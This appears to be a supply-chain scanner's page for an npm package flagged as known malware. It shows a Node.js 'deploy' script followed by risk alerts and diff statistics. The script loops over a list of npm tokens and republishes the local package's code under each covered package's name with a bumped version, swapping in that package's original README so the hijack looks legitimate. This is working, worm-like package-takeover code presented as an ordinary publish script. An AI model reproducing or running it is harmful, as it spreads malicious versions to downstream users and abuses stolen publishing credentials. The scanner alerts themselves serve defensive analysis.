| console.log(`π¦ Processing: ${packageName}`); | ||
| // 3a. Fetch the original package's README and latest version | ||
| const readmePath = path.resolve(__dirname, '..', 'README.md'); | ||
| const originalReadme = fs.existsSync(readmePath) | ||
| ? fs.readFileSync(readmePath, 'utf8') | ||
| : null; | ||
| console.log(` π Fetching metadata for ${packageName}β¦`); | ||
| const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token); | ||
| // Determine version to publish: bump patch of existing latest, or use local version | ||
| const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion; | ||
| console.log( | ||
| latestVersion | ||
| ? ` π’ Latest is ${latestVersion} β publishing ${publishVersion}` | ||
| : ` π’ No existing version found β publishing ${publishVersion}` | ||
| ); | ||
| if (remoteReadme) { | ||
| fs.writeFileSync(readmePath, remoteReadme, 'utf8'); | ||
| console.log(` π Using original README for ${packageName}`); | ||
| } else { | ||
| console.log(` π No existing README found; keeping local README`); | ||
| } | ||
| // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore | ||
| const originalPkgJson = fs.readFileSync(pkgPath, 'utf8'); | ||
| const tempPkg = { ...pkg, name: packageName, version: publishVersion }; | ||
| fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8'); | ||
| try { | ||
| run('npm publish --access public --tag latest', { | ||
| env: { ...process.env, NPM_TOKEN: token }, | ||
| }); | ||
| console.log(`β Published ${packageName}@${publishVersion}`); | ||
| results.success.push(packageName); | ||
| } catch (err) { | ||
| console.error(`β Failed to publish ${packageName}:`, err.message); | ||
| results.failed.push(packageName); | ||
| } finally { | ||
| // Always restore the original package.json | ||
| fs.writeFileSync(pkgPath, originalPkgJson, 'utf8'); | ||
| // Always restore the original README | ||
| if (originalReadme !== null) { | ||
| fs.writeFileSync(readmePath, originalReadme, 'utf8'); | ||
| } else if (remoteReadme && fs.existsSync(readmePath)) { | ||
| // README didn't exist locally before β remove the temporary one | ||
| fs.unlinkSync(readmePath); | ||
| } | ||
| } | ||
| } | ||
| return results; | ||
| } | ||
| // ββ Main βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ | ||
| (async () => { | ||
| // 1. Resolve token list β prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN | ||
| const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || ''; | ||
| const tokens = rawTokens | ||
| .split(',') | ||
| .map((t) => t.trim()) | ||
| .filter(Boolean); | ||
| if (tokens.length === 0) { | ||
| console.error('β No npm tokens found.'); | ||
| console.error(' Set NPM_TOKENS=<token1>,<token2>,β¦ or NPM_TOKEN=<token>'); | ||
| process.exit(1); | ||
| } | ||
| console.log(`π Found ${tokens.length} token(s) to process.`); | ||
| // 2. Read local package.json once | ||
| const pkgPath = path.resolve(__dirname, '..', 'package.json'); | ||
| const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8')); | ||
| const newVersion = pkg.version; | ||
| // 3. Iterate over every token | ||
| const overall = { success: [], failed: [] }; | ||
| for (let i = 0; i < tokens.length; i++) { | ||
| const token = tokens[i]; | ||
| console.log(`\n${'β'.repeat(60)}`); | ||
| console.log(`π Token ${i + 1} / ${tokens.length}`); | ||
| const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion); | ||
| overall.success.push(...success); | ||
| overall.failed.push(...failed); | ||
| } | ||
| // 4. Overall summary | ||
| console.log(`\n${'β'.repeat(60)}`); | ||
| console.log('π Overall Deploy Summary'); | ||
| console.log(` β Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`); | ||
| console.log(` β Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`); | ||
| if (overall.failed.length > 0) { | ||
| process.exit(1); | ||
| } | ||
| })(); |
Unstable ownership
Supply chain riskA new collaborator has begun publishing package versions. Package stability and security risk may be elevated.
Found 1 instance in 1 package
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
New author
Supply chain riskA new npm collaborator published a version of the package for the first time. New collaborators are usually benign additions to a project, but do indicate a change to the security surface area of a package.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 1 instance in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 1 instance in 1 package
Install scripts
Supply chain riskInstall scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.
Found 1 instance in 1 package
Deprecated
MaintenanceThe maintainer of the package marked it as deprecated. This could indicate that a single version should not be used, or that the package is no longer maintained and any new vulnerabilities will not be fixed.
Found 1 instance in 1 package
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 2 instances in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
No contributors or author data
MaintenancePackage does not specify a list of contributors or an author in package.json.
Found 1 instance in 1 package
No v1
QualityPackage is not semver >=1. This means it is not stable and does not support ^ ranges.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
25340
93.01%22
450%525
90.22%1
-50%0
-100%1
-50%0
-100%8
-20%2
-60%6
Infinity%10
Infinity%+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added